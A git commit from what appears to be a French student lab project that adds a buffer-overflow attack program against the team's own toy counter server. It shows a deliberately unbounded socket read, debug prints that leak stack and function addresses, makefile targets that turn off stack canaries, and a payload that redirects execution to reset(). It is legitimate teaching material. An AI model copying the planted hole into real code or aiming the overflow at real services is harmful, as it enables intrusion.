Version Fonctionnelle : Premiers tests d'attaques fait, (penser a mettre a jour le readme)
This commit is contained in:
parent
28b1a6a7b0
commit
28cca06320
5 changed files with 138 additions and 3 deletions
1
.gitignore
vendored
1
.gitignore
vendored
|
@ -1,2 +1,3 @@
|
|||
serveur
|
||||
client
|
||||
attaque
|
||||
|
|
|
@ -15,6 +15,8 @@ Tuteurs :
|
|||
- Didier LeBotlan
|
||||
- Eric AlataS
|
||||
|
||||
WARNING : TO USE THE MAKEFILE YOU MAY NEED "gcc-multilib" (sudo apt-get install gcc-multilib)
|
||||
|
||||
Programmes SERVEUR et CLIENT, principe général :
|
||||
|
||||
- Le serveur : Gere un entier (init 0) En écoute sur un port passé en paramètre, des qu'une connexion arrive, il fork, traite la connexion dans le fils, le père se remet en attente
|
||||
|
|
14
Serveur.c
14
Serveur.c
|
@ -58,6 +58,7 @@ void divi(int n) {
|
|||
}
|
||||
|
||||
void reset() {
|
||||
printf("Hello ça marche\n");
|
||||
*addr_shm = 0;
|
||||
}
|
||||
|
||||
|
@ -90,6 +91,15 @@ struct traitement process(int sock) {
|
|||
// PRIMITIVE READ TRES MAL UTILISEE VOLONTAIREMENT
|
||||
read(sock, buff, SIZE_MAX);
|
||||
|
||||
printf("Affichage de la PILE : \n addr buff : %p\n socket : %d\n", buff, sock);
|
||||
int i;
|
||||
for (i=0; i<220; i++) {
|
||||
if (i != 0 && i % 4 == 0) {
|
||||
printf(" ");
|
||||
}
|
||||
printf("%2.2hhx", buff[i]);
|
||||
}
|
||||
printf("\n");
|
||||
struct traitement ret;
|
||||
|
||||
if (!strncmp(buff, "PRINT", 5)) {
|
||||
|
@ -122,6 +132,8 @@ struct traitement process(int sock) {
|
|||
|
||||
int main(int argc, char * argv[])
|
||||
{
|
||||
printf("L'adresse de la fonction reset est : %p\n", reset);
|
||||
|
||||
if (argc != 2) {
|
||||
printf("ERREUR : Usage : ./serveur N°Port\n");
|
||||
exit(2);
|
||||
|
@ -226,6 +238,8 @@ int main(int argc, char * argv[])
|
|||
} else {
|
||||
// Recupération du traitement
|
||||
struct traitement taf = process(sock_connexion);
|
||||
printf("On est revenu\n");
|
||||
printf("On a sauté ?\n");
|
||||
// Prise du Semaphore
|
||||
buf.sem_op = -1;
|
||||
rt = semop(sema, &buf, 1);
|
||||
|
|
69
attaque.c
Normal file
69
attaque.c
Normal file
|
@ -0,0 +1,69 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define LATENCE 10000
|
||||
#define FAT_LATENCE 1000000
|
||||
#define FUNCTION usleep
|
||||
#define SIZE_BUFF 212
|
||||
#define NUM_PORT 1258
|
||||
|
||||
int main(int argc, char * argv[]) {
|
||||
char prog_name[30];
|
||||
sprintf(prog_name, "./client localhost %d", NUM_PORT);
|
||||
// On ajoute 100 a la valeur
|
||||
FILE * prog = popen(prog_name, "w");
|
||||
if (prog == NULL) {
|
||||
printf("ERREUR\n");
|
||||
}
|
||||
FUNCTION(LATENCE);
|
||||
fprintf(prog, "ADD\n");
|
||||
printf("ADD\n");
|
||||
FUNCTION(LATENCE);
|
||||
fprintf(prog, "100\n");
|
||||
printf("100\n");
|
||||
FUNCTION(LATENCE);
|
||||
pclose(prog);
|
||||
|
||||
// On affiche la valeur
|
||||
prog = popen(prog_name, "w");
|
||||
if (prog == NULL) {
|
||||
printf("ERREUR\n");
|
||||
}
|
||||
FUNCTION(LATENCE);
|
||||
fprintf(prog, "PRINT\n");
|
||||
printf("PRINT\n");
|
||||
FUNCTION(LATENCE);
|
||||
pclose(prog);
|
||||
|
||||
// On hack pour RESET
|
||||
prog = popen(prog_name, "w");
|
||||
if (prog == NULL) {
|
||||
printf("ERREUR\n");
|
||||
}
|
||||
FUNCTION(LATENCE);
|
||||
char buff[SIZE_BUFF + 1];
|
||||
int i;
|
||||
for (i=0; i<(SIZE_BUFF / 4); i++) {
|
||||
buff[(i*4)] = 0x25;
|
||||
buff[(i*4) + 1] = 0x9a;
|
||||
buff[(i*4) + 2] = 0x6;
|
||||
buff[(i*4) + 3] = 0x56;
|
||||
}
|
||||
buff[SIZE_BUFF] = '\0';
|
||||
fprintf(prog, "%s\n", buff);
|
||||
printf("Hack : %s\n%x%x%x%x\n", buff, buff[0], buff[1], buff[2], buff[3]);
|
||||
FUNCTION(LATENCE);
|
||||
pclose(prog);
|
||||
|
||||
// On Affiche pour verifier
|
||||
prog = popen(prog_name, "w");
|
||||
if (prog == NULL) {
|
||||
printf("ERREUR\n");
|
||||
}
|
||||
FUNCTION(LATENCE);
|
||||
fprintf(prog, "PRINT\n");
|
||||
printf("PRINT\n");
|
||||
FUNCTION(LATENCE);
|
||||
pclose(prog);
|
||||
}
|
55
makefile
55
makefile
|
@ -1,6 +1,19 @@
|
|||
default: all
|
||||
default:
|
||||
@echo "Usage : [ Classic | SansCanary | 32bits | 32bitsSansCanary | Attaque ]"
|
||||
|
||||
all: serveur client
|
||||
Classic: clean serveur client
|
||||
SansCanary: clean serveurSsCanary client
|
||||
32bits: clean serveur32 client32
|
||||
32bitsSansCanary: clean serveur32SsCanary client32
|
||||
|
||||
Attaque: clean attaque.c
|
||||
@echo "######################################"
|
||||
@echo "# Compilation du programme ATTAQUANT #"
|
||||
@echo "######################################"
|
||||
@echo ""
|
||||
gcc -Wall attaque.c -o attaque
|
||||
@echo ""
|
||||
@echo ""
|
||||
|
||||
serveur: Serveur.c
|
||||
@echo "######################################"
|
||||
|
@ -20,8 +33,44 @@ client: Client.c
|
|||
@echo ""
|
||||
@echo ""
|
||||
|
||||
serveur32: Serveur.c
|
||||
@echo "######################################"
|
||||
@echo "# Compilation du SERVEUR en 32 bits #"
|
||||
@echo "######################################"
|
||||
@echo ""
|
||||
gcc -Wall -m32 Serveur.c -o serveur
|
||||
@echo ""
|
||||
@echo ""
|
||||
|
||||
client32: Client.c
|
||||
@echo "######################################"
|
||||
@echo "## Compilation du CLIENT en 32 bits ##"
|
||||
@echo "######################################"
|
||||
@echo ""
|
||||
gcc -Wall -m32 Client.c -o client
|
||||
@echo ""
|
||||
@echo ""
|
||||
|
||||
serveurSsCanary: Serveur.c
|
||||
@echo "######################################"
|
||||
@echo "# Compilation du SERVEUR sans Canary #"
|
||||
@echo "######################################"
|
||||
@echo ""
|
||||
gcc -Wall -fno-stack-protector Serveur.c -o serveur
|
||||
@echo ""
|
||||
@echo ""
|
||||
|
||||
serveur32SsCanary: Serveur.c
|
||||
@echo "#################################################"
|
||||
@echo "# Compilation du SERVEUR en 32 bits sans Canary #"
|
||||
@echo "#################################################"
|
||||
@echo ""
|
||||
gcc -Wall -m32 -fno-stack-protector Serveur.c -o serveur
|
||||
@echo ""
|
||||
@echo ""
|
||||
|
||||
edit:
|
||||
pluma Serveur.c Client.c &
|
||||
|
||||
clean:
|
||||
@rm client serveur
|
||||
@rm -f client serveur attaque
|
||||
|
|
Loading…
Reference in a new issue